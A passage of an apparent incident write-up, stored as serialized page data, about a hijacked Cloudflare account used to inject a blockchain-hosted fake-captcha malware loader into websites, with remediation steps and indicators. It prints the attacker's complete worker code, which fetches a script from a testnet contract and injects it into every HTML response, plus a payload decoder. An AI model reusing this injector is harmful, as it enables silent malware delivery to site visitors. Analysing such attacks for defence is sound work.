json.load(urllib.request.urlopen(req))[\"result\"]\n",[285,1438,1439],{"class":287,"line":820},[285,1440,442],{"emptyLinePlaceholder":214},[285,1442,1443],{"class":287,"line":842},[285,1444,1445],{},"b = bytes.fromhex(result[2:])\n",[285,1447,1448],{"class":287,"line":859},[285,1449,1450],{},"offset = int.from_bytes(b[0:32], \"big\")\n",[285,1452,1453],{"class":287,"line":864},[285,1454,1455],{},"length = int.from_bytes(b[offset:offset+32], \"big\")\n",[285,1457,1458],{"class":287,"line":877},[285,1459,1460],{},"b64 = b[offset+32 : offset+32+length].decode()\n",[285,1462,1463],{"class":287,"line":894},[285,1464,1465],{},"js = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n",[285,1467,1468],{"class":287,"line":926},[285,1469,1470],{},"open(\"stage2.js\", \"w\").write(js)\n",[285,1472,1473],{"class":287,"line":985},[285,1474,1475],{},"print(len(js), \"bytes\")\n",[285,1477,1478],{"class":287,"line":1018},[285,1479,1480],{},"# 42752 bytes\n",[11,1482,1483],{},"42KB of obfuscated javascript. it:",[38,1485,1486,1489,1496,1499,1506],{},[41,1487,1488],{},"runs another headless\u002Fsandbox check (deeper than the loader's)",[41,1490,1491,1492,1495],{},"generates a per-visitor uuid by querying ",[26,1493,1494],{},"https:\u002F\u002Fip-info.ff.avast.com\u002Fv2\u002Finfo"," for the visitor's ip — abuse of a legitimate avast endpoint as fingerprint source",[41,1497,1498],{},"queries a third contract for \"is goal reached for this uuid\" — which is how the attacker shows the captcha exactly once per visitor and silently skips it after the user has already pasted the rundll32 line",[41,1500,1501,1502,1505],{},"if not yet \"reached\", it renders the fake captcha overlay with a \"i'm not a robot\" button that copies the rundll32 line to the clipboard via ",[26,1503,1504],{},"navigator.clipboard.writeText"," and instructs the user to paste it",[41,1507,1508],{},"injects an attacker-owned yandex metrika counter as cover so the page \"looks normal\" to the user inspecting devtools",[11,1510,1511,1512,1515],{},"what stage two does NOT do, importantly: it does not read ",[26,1513,1514],{},"Telegram.WebApp.initData",", does not read cookies, does not exfiltrate localStorage. zero data theft from the mini-app session itself. pure clickfix delivery.",[31,1517,1519],{"id":1518},"finding-the-worker","finding the worker",[11,1521,1522],{},"dash → workers & pages → list. there it was, top of the list:",[243,1524,1527],{"className":1525,"code":1526,"language":248},[246],"worker-shrill-sun-e3cf\ncreated  2026-04-25T16:25:42Z\nmodified 2026-04-25T16:25:56Z\n",[26,1528,1526],{"__ignoreMap":202},[11,1530,1531],{},"22 hours before discovery. clicked through, copied the source. it's a tiny shim:",[243,1533,1535],{"className":577,"code":1534,"language":579,"meta":202,"style":202},"export default {\n  async fetch(t, e, a) {\n    let s = \"\";\n    try {\n      const t = async t => {\n        const e = t => {\n          let e = \"0x\";\n          for (const a of t) {\n            const t = a.toString(16);\n            e += 1 === t.length ? `0${t}` : t\n          }\n          return e\n        },\n        a = await fetch(\"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\u002F\", {\n          method: \"POST\",\n          headers: { Accept: \"application\u002Fjson\", \"Content-Type\": \"application\u002Fjson\" },\n          body: JSON.stringify({\n            method: \"eth_call\",\n            params: [{ to: t, data: \"0x6d4ce63c\" }, \"latest\"],\n            id: 97, jsonrpc: \"2.0\"\n          })\n        }),\n        s = (await a.json()).result.slice(2),\n        n = new Uint8Array(s.match(\u002F[\\da-f]{2}\u002Fgi).map(t => parseInt(t, 16))),\n        c = Number(e(n.slice(0, 32))),\n        r = Number(e(n.slice(32, 32 + c)));\n        return String.fromCharCode.apply(null, n.slice(32 + c, 32 + c + r))\n      };\n      const e = await t(\"0x\u003Credacted-worker-stage-contract>\");\n      s = atob(e)\n    } catch {}\n    const n = await fetch(t);\n    if (!s || !n.headers.get(\"Content-Type\")?.includes(\"text\u002Fhtml\")) return n;\n    const c = (await n.text()).replace(\"\u003C\u002Fbody>\", `\u003Cscript>${s}\u003C\\\u002Fscript>\u003C\u002Fbody>`);\n    return new Response(c, {\n      status: n.status,\n      statusText: n.statusText,\n      headers: {\n        ...n.headers,\n        \"Content-Type\": \"text\u002Fhtml;charset=UTF-8\",\n        \"Content-Length\": c.length.toString()\n      }\n    })\n  }\n};\n",[26,1536,1537,1547,1569,1583,1590,1607,1623,1636,1651,1670,1697,1702,1709,1714,1733,1742,1759,1773,1782,1795,1806,1811,1816,1842,1889,1917,1947,1986,1991,2010,2023,2034,2051,2098,2146,2158,2163,2168,2173,2181,2194,2211,2217,2223,2229],{"__ignoreMap":202},[285,1538,1539,1542,1545],{"class":287,"line":288},[285,1540,1541],{"class":403},"export",[285,1543,1544],{"class":403}," default",[285,1546,622],{"class":399},[285,1548,1549,1552,1554,1556,1558,1560,1563,1565,1567],{"class":287,"line":203},[285,1550,1551],{"class":403},"  async",[285,1553,888],{"class":291},[285,1555,595],{"class":399},[285,1557,711],{"class":598},[285,1559,558],{"class":399},[285,1561,1562],{"class":598},"e",[285,1564,558],{"class":399},[285,1566,15],{"class":598},[285,1568,602],{"class":399},[285,1570,1571,1573,1576,1578,1581],{"class":287,"line":329},[285,1572,627],{"class":403},[285,1574,1575],{"class":399}," s ",[285,1577,633],{"class":403},[285,1579,1580],{"class":307}," \"\"",[285,1582,639],{"class":399},[285,1584,1585,1588],{"class":287,"line":354},[285,1586,1587],{"class":403},"    try",[285,1589,622],{"class":399},[285,1591,1592,1594,1596,1598,1601,1603,1605],{"class":287,"line":365},[285,1593,664],{"class":403},[285,1595,616],{"class":291},[285,1597,613],{"class":403},[285,1599,1600],{"class":403}," async",[285,1602,616],{"class":598},[285,1604,619],{"class":403},[285,1606,622],{"class":399},[285,1608,1609,1612,1615,1617,1619,1621],{"class":287,"line":480},[285,1610,1611],{"class":403},"        const",[285,1613,1614],{"class":291}," e",[285,1616,613],{"class":403},[285,1618,616],{"class":598},[285,1620,619],{"class":403},[285,1622,622],{"class":399},[285,1624,1625,1628,1630,1632,1634],{"class":287,"line":495},[285,1626,1627],{"class":403},"          let",[285,1629,630],{"class":399},[285,1631,633],{"class":403},[285,1633,636],{"class":307},[285,1635,639],{"class":399},[285,1637,1638,1641,1643,1645,1647,1649],{"class":287,"line":500},[285,1639,1640],{"class":403},"          for",[285,1642,647],{"class":399},[285,1644,650],{"class":403},[285,1646,653],{"class":295},[285,1648,656],{"class":403},[285,1650,659],{"class":399},[285,1652,1653,1656,1658,1660,1662,1664,1666,1668],{"class":287,"line":514},[285,1654,1655],{"class":403},"            const",[285,1657,616],{"class":295},[285,1659,613],{"class":403},[285,1661,671],{"class":399},[285,1663,674],{"class":291},[285,1665,595],{"class":399},[285,1667,679],{"class":295},[285,1669,682],{"class":399},[285,1671,1672,1675,1677,1679,1681,1683,1685,1687,1689,1691,1693,1695],{"class":287,"line":521},[285,1673,1674],{"class":399},"            e ",[285,1676,690],{"class":403},[285,1678,693],{"class":295},[285,1680,696],{"class":403},[285,1682,699],{"class":399},[285,1684,702],{"class":295},[285,1686,705],{"class":403},[285,1688,708],{"class":307},[285,1690,711],{"class":399},[285,1692,714],{"class":307},[285,1694,717],{"class":403},[285,1696,720],{"class":399},[285,1698,1699],{"class":287,"line":750},[285,1700,1701],{"class":399},"          }\n",[285,1703,1704,1707],{"class":287,"line":762},[285,1705,1706],{"class":403},"          return",[285,1708,733],{"class":399},[285,1710,1711],{"class":287,"line":780},[285,1712,1713],{"class":399},"        },\n",[285,1715,1716,1719,1721,1723,1725,1727,1730],{"class":287,"line":795},[285,1717,1718],{"class":295},"        a",[285,1720,613],{"class":403},[285,1722,885],{"class":403},[285,1724,888],{"class":291},[285,1726,595],{"class":399},[285,1728,1729],{"class":307},"\"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\u002F\"",[285,1731,1732],{"class":399},", {\n",[285,1734,1735,1738,1740],{"class":287,"line":800},[285,1736,1737],{"class":399},"          method: ",[285,1739,815],{"class":307},[285,1741,759],{"class":399},[285,1743,1744,1747,1749,1751,1753,1755,1757],{"class":287,"line":810},[285,1745,1746],{"class":399},"          headers: { Accept: ",[285,1748,826],{"class":307},[285,1750,558],{"class":399},[285,1752,831],{"class":307},[285,1754,834],{"class":399},[285,1756,826],{"class":307},[285,1758,839],{"class":399},[285,1760,1761,1764,1766,1768,1770],{"class":287,"line":820},[285,1762,1763],{"class":399},"          body: ",[285,1765,848],{"class":295},[285,1767,21],{"class":399},[285,1769,853],{"class":291},[285,1771,1772],{"class":399},"({\n",[285,1774,1775,1778,1780],{"class":287,"line":842},[285,1776,1777],{"class":399},"            method: ",[285,1779,756],{"class":307},[285,1781,759],{"class":399},[285,1783,1784,1787,1789,1791,1793],{"class":287,"line":859},[285,1785,1786],{"class":399},"            params: [{ to: t, data: ",[285,1788,768],{"class":307},[285,1790,771],{"class":399},[285,1792,774],{"class":307},[285,1794,777],{"class":399},[285,1796,1797,1800,1802,1804],{"class":287,"line":864},[285,1798,1799],{"class":399},"            id: ",[285,1801,786],{"class":295},[285,1803,789],{"class":399},[285,1805,792],{"class":307},[285,1807,1808],{"class":287,"line":877},[285,1809,1810],{"class":399},"          })\n",[285,1812,1813],{"class":287,"line":894},[285,1814,1815],{"class":399},"        }),\n",[285,1817,1818,1821,1823,1825,1827,1829,1831,1833,1835,1837,1839],{"class":287,"line":926},[285,1819,1820],{"class":295},"        s",[285,1822,613],{"class":403},[285,1824,647],{"class":399},[285,1826,904],{"class":403},[285,1828,671],{"class":399},[285,1830,910],{"class":291},[285,1832,913],{"class":399},[285,1834,916],{"class":291},[285,1836,595],{"class":399},[285,1838,921],{"class":295},[285,1840,1841],{"class":399},"),\n",[285,1843,1844,1847,1849,1851,1853,1856,1858,1860,1862,1864,1866,1868,1870,1872,1874,1876,1878,1880,1882,1884,1886],{"class":287,"line":985},[285,1845,1846],{"class":295},"        n",[285,1848,613],{"class":403},[285,1850,934],{"class":403},[285,1852,937],{"class":291},[285,1854,1855],{"class":399},"(s.",[285,1857,943],{"class":291},[285,1859,595],{"class":399},[285,1861,948],{"class":307},[285,1863,951],{"class":295},[285,1865,954],{"class":403},[285,1867,948],{"class":307},[285,1869,959],{"class":403},[285,1871,962],{"class":399},[285,1873,965],{"class":291},[285,1875,595],{"class":399},[285,1877,711],{"class":598},[285,1879,619],{"class":403},[285,1881,974],{"class":291},[285,1883,977],{"class":399},[285,1885,679],{"class":295},[285,1887,1888],{"class":399},"))),\n",[285,1890,1891,1894,1896,1898,1900,1902,1905,1907,1909,1911,1913,1915],{"class":287,"line":1018},[285,1892,1893],{"class":295},"        c",[285,1895,613],{"class":403},[285,1897,993],{"class":291},[285,1899,595],{"class":399},[285,1901,1562],{"class":291},[285,1903,1904],{"class":399},"(n.",[285,1906,916],{"class":291},[285,1908,595],{"class":399},[285,1910,1008],{"class":295},[285,1912,558],{"class":399},[285,1914,1013],{"class":295},[285,1916,1888],{"class":399},[285,1918,1919,1922,1924,1926,1928,1930,1932,1934,1936,1938,1940,1942,1944],{"class":287,"line":1050},[285,1920,1921],{"class":295},"        r",[285,1923,613],{"class":403},[285,1925,993],{"class":291},[285,1927,595],{"class":399},[285,1929,1562],{"class":291},[285,1931,1904],{"class":399},[285,1933,916],{"class":291},[285,1935,595],{"class":399},[285,1937,1013],{"class":295},[285,1939,558],{"class":399},[285,1941,1013],{"class":295},[285,1943,1044],{"class":403},[285,1945,1946],{"class":399}," c)));\n",[285,1948,1949,1952,1954,1956,1958,1960,1963,1965,1967,1969,1971,1974,1976,1978,1981,1983],{"class":287,"line":1096},[285,1950,1951],{"class":403},"        return",[285,1953,1058],{"class":399},[285,1955,1061],{"class":291},[285,1957,595],{"class":399},[285,1959,1066],{"class":295},[285,1961,1962],{"class":399},", n.",[285,1964,916],{"class":291},[285,1966,595],{"class":399},[285,1968,1013],{"class":295},[285,1970,1044],{"class":403},[285,1972,1973],{"class":399}," c, ",[285,1975,1013],{"class":295},[285,1977,1044],{"class":403},[285,1979,1980],{"class":399}," c ",[285,1982,1090],{"class":403},[285,1984,1985],{"class":399}," r))\n",[285,1987,1988],{"class":287,"line":1110},[285,1989,1990],{"class":399},"      };\n",[285,1992,1993,1995,1997,1999,2001,2003,2005,2008],{"class":287,"line":1116},[285,1994,664],{"class":403},[285,1996,1614],{"class":295},[285,1998,613],{"class":403},[285,2000,885],{"class":403},[285,2002,616],{"class":291},[285,2004,595],{"class":399},[285,2006,2007],{"class":307},"\"0x\u003Credacted-worker-stage-contract>\"",[285,2009,682],{"class":399},[285,2011,2012,2015,2017,2020],{"class":287,"line":1121},[285,2013,2014],{"class":399},"      s ",[285,2016,633],{"class":403},[285,2018,2019],{"class":291}," atob",[285,2021,2022],{"class":399},"(e)\n",[285,2024,2025,2028,2031],{"class":287,"line":1146},[285,2026,2027],{"class":399},"    } ",[285,2029,2030],{"class":403},"catch",[285,2032,2033],{"class":399}," {}\n",[285,2035,2036,2039,2042,2044,2046,2048],{"class":287,"line":1167},[285,2037,2038],{"class":403},"    const",[285,2040,2041],{"class":295}," n",[285,2043,613],{"class":403},[285,2045,885],{"class":403},[285,2047,888],{"class":291},[285,2049,2050],{"class":399},"(t);\n",[285,2052,2053,2056,2058,2061,2064,2066,2069,2072,2075,2077,2079,2082,2084,2086,2089,2092,2095],{"class":287,"line":1199},[285,2054,2055],{"class":403},"    if",[285,2057,647],{"class":399},[285,2059,2060],{"class":403},"!",[285,2062,2063],{"class":399},"s ",[285,2065,1191],{"class":403},[285,2067,2068],{"class":403}," !",[285,2070,2071],{"class":399},"n.headers.",[285,2073,2074],{"class":291},"get",[285,2076,595],{"class":399},[285,2078,831],{"class":307},[285,2080,2081],{"class":399},")?.",[285,2083,1180],{"class":291},[285,2085,595],{"class":399},[285,2087,2088],{"class":307},"\"text\u002Fhtml\"",[285,2090,2091],{"class":399},")) ",[285,2093,2094],{"class":403},"return",[285,2096,2097],{"class":399}," n;\n",[285,2099,2100,2102,2105,2107,2109,2111,2114,2116,2119,2122,2124,2127,2129,2132,2135,2138,2141,2144],{"class":287,"line":1227},[285,2101,2038],{"class":403},[285,2103,2104],{"class":295}," c",[285,2106,613],{"class":403},[285,2108,647],{"class":399},[285,2110,904],{"class":403},[285,2112,2113],{"class":399}," n.",[285,2115,248],{"class":291},[285,2117,2118],{"class":399},"()).",[285,2120,2121],{"class":291},"replace",[285,2123,595],{"class":399},[285,2125,2126],{"class":307},"\"\u003C\u002Fbody>\"",[285,2128,558],{"class":399},[285,2130,2131],{"class":307},"`\u003Cscript>${",[285,2133,2134],{"class":399},"s",[285,2136,2137],{"class":307},"}\u003C",[285,2139,2140],{"class":295},"\\\u002F",[285,2142,2143],{"class":307},"script>\u003C\u002Fbody>`",[285,2145,682],{"class":399},[285,2147,2148,2150,2152,2155],{"class":287,"line":1232},[285,2149,730],{"class":403},[285,2151,934],{"class":403},[285,2153,2154],{"class":291}," Response",[285,2156,2157],{"class":399},"(c, {\n",[285,2159,2160],{"class":287,"line":1248},[285,2161,2162],{"class":399},"      status: n.status,\n",[285,2164,2165],{"class":287,"line":1268},[285,2166,2167],{"class":399},"      statusText: n.statusText,\n",[285,2169,2170],{"class":287,"line":1289},[285,2171,2172],{"class":399},"      headers: {\n",[285,2174,2175,2178],{"class":287,"line":1308},[285,2176,2177],{"class":403},"        ...",[285,2179,2180],{"class":399},"n.headers,\n",[285,2182,2184,2187,2189,2192],{"class":287,"line":2183},40,[285,2185,2186],{"class":307},"        \"Content-Type\"",[285,2188,834],{"class":399},[285,2190,2191],{"class":307},"\"text\u002Fhtml;charset=UTF-8\"",[285,2193,759],{"class":399},[285,2195,2197,2200,2203,2205,2207,2209],{"class":287,"line":2196},41,[285,2198,2199],{"class":307},"        \"Content-Length\"",[285,2201,2202],{"class":399},": c.",[285,2204,702],{"class":295},[285,2206,21],{"class":399},[285,2208,674],{"class":291},[285,2210,1245],{"class":399},[285,2212,2214],{"class":287,"line":2213},42,[285,2215,2216],{"class":399},"      }\n",[285,2218,2220],{"class":287,"line":2219},43,[285,2221,2222],{"class":399},"    })\n",[285,2224,2226],{"class":287,"line":2225},44,[285,2227,2228],{"class":399},"  }\n",[285,2230,2232],{"class":287,"line":2231},45,[285,2233,2234],{"class":399},"};\n",[11,2236,2237],{},"so the worker has its own etherhiding contract that returns the loader script you just read. the chain is:",[243,2239,2242],{"className":2240,"code":2241,"language":248},[246],"visitor\n  → cloudflare worker\n      → fetches loader from worker-stage contract\n      → injects loader into html\n  → loader runs in browser\n      → fetches stage 2 from win\u002Fmac contract\n      → renders fake captcha\n  → user pastes rundll32\n      → smb fetches dll\n      → infostealer\n",[26,2243,2241],{"__ignoreMap":202},[11,2245,2246],{},"four contracts. the attacker controls all of them.",[11,2248,2249],{},"note what the worker does NOT do: it doesn't fetch anything attacker-owned. it doesn't read or exfiltrate the visitor's request headers, cookies, IP, or path. it's a pure html injector. nothing in the worker would trigger any \"exfil to weird domain\" alarm. they could've added that, but they didn't bother — the entire point of etherhiding is that all the dirty work happens in the browser, downstream of the cloudflare worker.",[31,2251,2253],{"id":2252},"the-audit-log-nails-it","the audit log nails it",[11,2255,2256],{},"cloudflare's account audit log answered the only question that mattered: how did they get in.",[243,2258,2260],{"className":279,"code":2259,"language":281,"meta":202,"style":202},"SINCE=$(date -u -v-30d +%Y-%m-%dT%H:%M:%SZ)\ncurl -s -H \"Authorization: Bearer $CF_API_TOKEN\" \\\n  \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Faccounts\u002F$ACC\u002Faudit_logs?since=$SINCE&per_page=25&page=1\" \\\n  | jq -r '.result[] | [.when, .actor.ip, .actor.email, .actor.type, .action.type, .resource.type] | @tsv'\n",[26,2261,2262,2286,2307,2326],{"__ignoreMap":202},[285,2263,2264,2267,2269,2272,2275,2278,2281,2284],{"class":287,"line":288},[285,2265,2266],{"class":399},"SINCE",[285,2268,633],{"class":403},[285,2270,2271],{"class":399},"$(",[285,2273,2274],{"class":291},"date",[285,2276,2277],{"class":295}," -u",[285,2279,2280],{"class":295}," -v-30d",[285,2282,2283],{"class":307}," +%Y-%m-%dT%H:%M:%SZ",[285,2285,1265],{"class":399},[285,2287,2288,2290,2293,2296,2299,2302,2305],{"class":287,"line":203},[285,2289,447],{"class":291},[285,2291,2292],{"class":295}," -s",[285,2294,2295],{"class":295}," -H",[285,2297,2298],{"class":307}," \"Authorization: Bearer ",[285,2300,2301],{"class":399},"$CF_API_TOKEN",[285,2303,2304],{"class":307},"\"",[285,2306,299],{"class":295},[285,2308,2309,2312,2315,2318,2321,2324],{"class":287,"line":329},[285,2310,2311],{"class":307},"  \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Faccounts\u002F",[285,2313,2314],{"class":399},"$ACC",[285,2316,2317],{"class":307},"\u002Faudit_logs?since=",[285,2319,2320],{"class":399},"$SINCE",[285,2322,2323],{"class":307},"&per_page=25&page=1\"",[285,2325,299],{"class":295},[285,2327,2328,2331,2334,2337],{"class":287,"line":354},[285,2329,2330],{"class":403},"  |",[285,2332,2333],{"class":291}," jq",[285,2335,2336],{"class":295}," -r",[285,2338,2339],{"class":307}," '.result[] | [.when, .actor.ip, .actor.email, .actor.type, .action.type, .resource.type] | @tsv'\n",[11,2341,2342],{},"trimmed:",[243,2344,2347],{"className":2345,"code":2346,"language":248},[246],"2026-04-25T16:25:23Z  103.152.17.185  user  login                    ← straight password auth\n2026-04-25T16:25:42Z  103.152.17.185  user  script_create     worker-shrill-sun-e3cf\n2026-04-25T16:25:42Z  103.152.17.185  user  script_deploy\n2026-04-25T16:25:44Z  103.152.17.185  user  script_on_subdomain      ← also exposed at *.workers.dev\n2026-04-25T16:25:56Z  103.152.17.185  user  script_update\n2026-04-25T16:25:56Z  103.152.17.185  user  script_deploy\n2026-04-25T16:26:05Z  103.152.17.185  user  route_create     *avrdu.de\u002F*           → worker-shrill-sun-e3cf\n2026-04-25T16:26:10Z  103.152.17.185  user  route_create     *stopusingssr.com\u002F*   → worker-shrill-sun-e3cf\n\n2026-04-26T13:57:42Z  \u003Cmy-ip>        user  login                    ← me\n2026-04-26T14:13:42Z  \u003Cmy-ip>        user  login + MFA_enabled (totp)  ← only NOW did i turn on 2fa\n2026-04-26T14:14:35Z  \u003Cmy-ip>        user  change_password + logout\n2026-04-26T14:16:12Z  \u003Cmy-ip>        user  route_delete *stopusingssr.com\u002F*\n2026-04-26T14:16:15Z  \u003Cmy-ip>        user  route_delete *avrdu.de\u002F*\n2026-04-26T14:26:44Z  \u003Cmy-ip>        user  token_roll\n2026-04-26T14:30:49Z  \u003Cmy-ip>        user  token_create (audit-only, ip-bound)\n",[26,2348,2346],{"__ignoreMap":202},[11,2350,2351],{},"three things hit me:",[102,2353,2354,2371,2377],{},[41,2355,2356,2366,2367,2370],{},[107,2357,2358,2361,2362,2365],{},[26,2359,2360],{},"actor.type=user"," + ",[26,2363,2364],{},"action=login"," from a single ip",". it's not session\u002Fcookie reuse, not API token, not OAuth grant. ",[107,2368,2369],{},"straight password auth."," they had my password.",[41,2372,2373,2376],{},[107,2374,2375],{},"MFA was disabled."," that's what i was hiding from. there's no excuse for not having 2fa on cloudflare. there's no reason. nothing makes it inconvenient. i just hadn't done it.",[41,2378,2379,2382,2383,2386,2387,2390],{},[107,2380,2381],{},"the worker was bound to TWO zones."," i would have missed ",[26,2384,2385],{},"*stopusingssr.com\u002F*"," if i'd only checked the dashboard's route list for ",[26,2388,2389],{},"avrdu.de",". the audit log was the source of truth, the dashboard wasn't.",[11,2392,2393],{},"the attacker IP belonged to AS62240 Clouvider Ltd, a UK transit provider, resold further by a small downstream operator. geo-ip couldn't decide whether it was NYC or LA. it's a vps or a vpn endpoint. it wasn't going to identify the attacker; clouvider abuse would at best say \"a customer used it.\"",[31,2395,2397],{"id":2396},"so-where-did-the-password-come-from","so where did the password come from",[11,2399,2400,2401,2404],{},"embarrassingly simple. the cloudflare password was short, easy, and ",[107,2402,2403],{},"reused"," on at least one other service. i don't have it saved in any browser; i don't have a stealer on my machine (i scanned, persistence is clean, code signing is clean, no foreign processes, no DYLD injections); i'm not seeing the password anywhere on disk that would justify a more interesting story.",[11,2406,2407],{},"what i do have is a password short enough that it shows up in standard credential-stuffing wordlists, used somewhere that has either been breached or scraped, and reused on cloudflare. that is more than enough. you do not need a sophisticated attacker to walk into an account that has a reused weak password and no 2fa. you need a botnet running through stolen credential lists at one cloudflare login per second across the internet. the bar is on the floor.",[11,2409,2410],{},"so: the post-mortem is not a thriller. the password was simple, and it was reused. that, plus no 2fa, was the entire perimeter of my cloudflare account. probably some russian kid on a vpn ran my email through stolen credential lists, hit on cloudflare, and immediately weaponised the account into a malware delivery cdn for as long as they could before i woke up.",[31,2412,2414],{"id":2413},"the-response","the response",[11,2416,2417],{},"in order:",[102,2419,2420,2426,2439,2449,2455,2461,2467,2472,2482,2488,2494],{},[41,2421,2422,2425],{},[107,2423,2424],{},"unbind the worker"," from both zones. injection stops within seconds.",[41,2427,2428,2431,2432,2434,2435,2438],{},[107,2429,2430],{},"verify origin clean"," by ",[26,2433,537],{},"-ing CF response vs ",[26,2436,2437],{},"--resolve \u003Corigin-ip>"," direct.",[41,2440,2441,2444,2445,2448],{},[107,2442,2443],{},"delete the worker entirely",", including disabling its ",[26,2446,2447],{},"*.workers.dev"," subdomain. unbound is not gone.",[41,2450,2451,2454],{},[107,2452,2453],{},"rotate cloudflare password."," long, unique.",[41,2456,2457,2460],{},[107,2458,2459],{},"enable 2FA."," totp minimum.",[41,2462,2463,2466],{},[107,2464,2465],{},"revoke every existing api token."," mint a fresh minimal-scope token only when needed, with ip allowlist, with short ttl.",[41,2468,2469],{},[107,2470,2471],{},"end all sessions.",[41,2473,2474,2477,2478,2481],{},[107,2475,2476],{},"audit other zones"," the same account owned. i had a leftover empty worker named ",[26,2479,2480],{},"stopusingssr"," that wasn't malicious but reminded me to clean up dead infra.",[41,2483,2484,2487],{},[107,2485,2486],{},"audit gmail."," recent activity, oauth grants, app passwords, filters\u002Fforwarding. the email is the password-reset master key for everything.",[41,2489,2490,2493],{},[107,2491,2492],{},"rotate every credential where the same email is the login."," github, telegram, icloud, hosting providers, the works.",[41,2495,2496,2499],{},[107,2497,2498],{},"notify users."," any windows or mac visitor who saw the captcha and pasted the command should be assumed infected. defender plus malwarebytes scan, rotate every browser-saved credential.",[11,2501,2502],{},"i did all of this in 30 minutes once i knew it was cloudflare-side. the actual investigation took two hours, almost all of it spent ruling out the wrong layer.",[31,2504,2506],{"id":2505},"how-this-is-supposed-to-work","how this is supposed to work",[11,2508,2509],{},"before this incident, my mental model of cloudflare was \"DNS plus DDoS protection.\" i used it as a cdn for static html, dns for everything else. i thought of it as a passive layer.",[11,2511,2512,2513,2516],{},"cloudflare is not a passive layer. it's a ",[107,2514,2515],{},"javascript execution environment on the wire",", sitting between your origin and every user. workers can read, modify, drop, or replace any byte of any response. for a long time i'd had this mental separation: my \"code\" was the stuff in the github repo; cloudflare was just a dumb pipe. that's wrong. cloudflare is part of my code. the workers in my account ARE my code, even if i didn't write them.",[11,2518,2519,2520,2523],{},"if you have a cloudflare account that can deploy workers, ",[107,2521,2522],{},"someone with write access to your cloudflare account has rce on every visitor of every site in the account."," there's no exploit needed. that's the legitimate, intended operating model of workers. and the only thing standing between an attacker and that capability is your cloudflare login.",[11,2525,2526],{},"so 2fa on cloudflare isn't a hardening best practice. it is the perimeter. mine wasn't.",[31,2528,2530],{"id":2529},"what-to-actually-do","what to actually do",[11,2532,2533],{},"don't read this and feel smug because you're not a moron, or feel terrified because you are. just do the things:",[38,2535,2536,2542,2547,2557],{},[41,2537,2538,2541],{},[107,2539,2540],{},"enable 2fa on cloudflare right now."," hardware key if you have one (yubikey, titan), totp otherwise. not sms.",[41,2543,2544,2546],{},[107,2545,2465],{}," mint new ones with minimal scope, ip allowlist, 30-day ttl. treat them like prod credentials, not like dotfiles.",[41,2548,2549,2552,2553,2556],{},[107,2550,2551],{},"bypass your cdn periodically"," with ",[26,2554,2555],{},"curl --resolve"," and diff against your origin. add it to a cron if you want; even running it manually once a week beats nothing.",[41,2558,2559,2562],{},[107,2560,2561],{},"assume your email is compromise-target #1."," 2fa it, audit oauth grants quarterly, scrub forwarding rules.",[11,2564,2565],{},"i'm not going to lecture you about the rest. you've read the post.",[31,2567,2569],{"id":2568},"iocs","IoCs",[11,2571,2572],{},"domains: redacted from the post — the smb host was effectively a malware delivery endpoint and i don't want anyone reading this to type it into a terminal \"to see what happens.\" if you need them for a blocklist, dm me.",[11,2574,2575,2576,2579],{},"legitimate services abused (",[107,2577,2578],{},"don't blocklist","):",[38,2581,2582,2588,2594],{},[41,2583,2584,2587],{},[26,2585,2586],{},"bsc-testnet-rpc.publicnode.com"," — bsc rpc as covert c2 transport",[41,2589,2590,2593],{},[26,2591,2592],{},"ip-info.ff.avast.com\u002Fv2\u002Finfo"," — avast's public ip lookup, used as visitor fingerprint",[41,2595,2596,2599],{},[26,2597,2598],{},"use.fontawesome.com\u002Freleases\u002Fv5.0.0\u002Fcss\u002Fall.css"," — fontawesome cdn for the captcha ui",[11,2601,2602,2603,2605,2606,2608],{},"bsc testnet contracts (selector ",[26,2604,1325],{}," = ",[26,2607,1329],{},"): redacted. four contracts in total — worker injector, stage-1 windows, stage-1 macos, telemetry\u002F\"goal-reached.\" dm me if you need addresses for tracking.",[11,2610,2611],{},"network:",[38,2613,2614],{},[41,2615,2616,2617,2620],{},"attacker login: ",[26,2618,2619],{},"103.152.17.185"," (AS62240 Clouvider Ltd)",[11,2622,2623],{},"cloudflare artifacts:",[38,2625,2626,2632],{},[41,2627,2628,2629],{},"worker name: ",[26,2630,2631],{},"worker-shrill-sun-e3cf",[41,2633,2634,2635,558,2638],{},"routes: ",[26,2636,2637],{},"*avrdu.de\u002F*",[26,2639,2385],{},[31,2641,2643],{"id":2642},"appendix-decoding-any-etherhiding-contract-payload","appendix: decoding any etherhiding contract payload",[243,2645,2647],{"className":1354,"code":2646,"language":1356,"meta":202,"style":202},"import json, base64, urllib.request\n\nCONTRACT = \"0x\u003Credacted>\"\nRPC      = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"\n\nreq = urllib.request.Request(\n    RPC,\n    method=\"POST\",\n    headers={\"Content-Type\": \"application\u002Fjson\"},\n    data=json.dumps({\n        \"method\": \"eth_call\",\n        \"params\": [{\"to\": CONTRACT, \"data\": \"0x6d4ce63c\"}, \"latest\"],\n        \"id\": 1, \"jsonrpc\": \"2.0\"\n    }).encode()\n)\nresult = json.load(urllib.request.urlopen(req))[\"result\"]\n\n# ABI-decode a single-string return value\nb      = bytes.fromhex(result[2:])\noffset = int.from_bytes(b[0:32], \"big\")           # = 32 for a single string\nlength = int.from_bytes(b[offset:offset+32], \"big\")\nb64    = b[offset+32 : offset+32+length].decode()\njs     = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n\nprint(js)\n",[26,2648,2649,2653,2657,2662,2667,2671,2675,2680,2684,2688,2692,2696,2701,2705,2709,2713,2717,2721,2726,2731,2736,2740,2745,2750,2754],{"__ignoreMap":202},[285,2650,2651],{"class":287,"line":288},[285,2652,1363],{},[285,2654,2655],{"class":287,"line":203},[285,2656,442],{"emptyLinePlaceholder":214},[285,2658,2659],{"class":287,"line":329},[285,2660,2661],{},"CONTRACT = \"0x\u003Credacted>\"\n",[285,2663,2664],{"class":287,"line":354},[285,2665,2666],{},"RPC      = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"\n",[285,2668,2669],{"class":287,"line":365},[285,2670,442],{"emptyLinePlaceholder":214},[285,2672,2673],{"class":287,"line":480},[285,2674,1372],{},[285,2676,2677],{"class":287,"line":495},[285,2678,2679],{},"    